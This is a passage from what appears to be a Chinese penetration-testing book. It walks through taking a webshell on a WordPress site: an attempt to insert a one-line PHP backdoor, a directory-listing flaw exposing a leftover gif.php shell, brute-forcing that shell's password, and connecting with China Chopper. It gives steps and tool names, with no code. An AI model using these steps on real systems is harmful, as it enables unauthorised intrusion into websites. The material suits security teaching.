获取管理员权限后,通过查看和编辑页面内容,在页面内容中插入一句话后门代码,如图6-98所示,无法保存修改后的文件,该文件以及文件夹无写权限。
图6-98 尝试向网站写入文件
在上传图像模块选择图像文件进行上传,如图6-99所示,无法上传文件。与前面一样,文件夹设置了权限,看来WordPress的常见提权方法是行不通的。
图6-99 无法上传文件
6.13.3 列目录以及文件漏洞
该目标站点还存在列目录及文件漏洞,如图6-100所示,可以查看图像文件等。在“images”文件夹下发现gif.php文件,因为该文件可以通过浏览器访问,大小为27字节,所以该文件为一句话后门的可能性极高。
图6-100 列目录及文件漏洞
6.13.4 一句话密码破解
打开“ASP PHP ASPX一句话密码暴力猜解工具”,如图6-101所示,在“地址”文本框中输入目标网站,发现的一句话后门文件的具体地址为“http://www.somesite.com/images/gif.php”,选择全部字符,设置位数为“3”,脚本为“php”,单击“破解”按钮,开始对一句话后门进行破解。
图6-101 对一句话后门密码进行破解
6.13.5 获取目标WebShell权限
在“中国菜刀”中新增一个后门记录,输入地址和密码,如图6-102所示,成功获取目标站点的权限。
图6-102 获取目标WebShell的权限
6.13.6 小结
通过本次渗透,我们熟悉和掌握了WordPress管理员提权的方法。在获取管理员权限后,可以通过修改页面文件插入一句话后门直接获取WebShell,还可以直接上传后门文件获取WebShell。
在权限设置严格的情况下,可以通过其他漏洞获取权限,如文件名称和目录信息泄露等。在本例中,找到早期入侵者留下的Shell,通过破解一句话后门成功获取网站权限。